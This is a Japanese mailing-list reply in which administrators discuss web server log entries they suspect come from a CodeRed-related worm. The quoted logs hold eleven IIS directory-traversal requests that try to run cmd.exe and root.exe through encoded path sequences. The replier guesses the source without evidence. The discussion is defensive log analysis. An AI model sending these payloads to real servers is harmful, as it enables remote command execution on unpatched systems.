[connect24h:04663] Re: CodeRed 関係だと思うのですが

["KAW" <turbolinux@xxxxxxxxxxx>]

KAWです。

> "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
> "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
> "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
> "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
> "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
> "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
> "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
> "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
> "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
> "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
> "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
> ２台のサーバに、この他にもこれと似たアクセスが残っています。
> 複数のサーバからアクセスが来ているので、
> 新しいウイルスなのでしょうか？

うちのサーバーもたくさんアクセス着ていますが、どうやらCodeGreenかCodeblueの
ようですね。

やっぱり、あんまりいい気持ちはしないですね。


------------------------------------------------------------------------
　　　　　　　　 ニュース速報！　はインフォシークで！！
　　　　 http://www.infoseek.co.jp/Home?pg=Home.html&svx=971122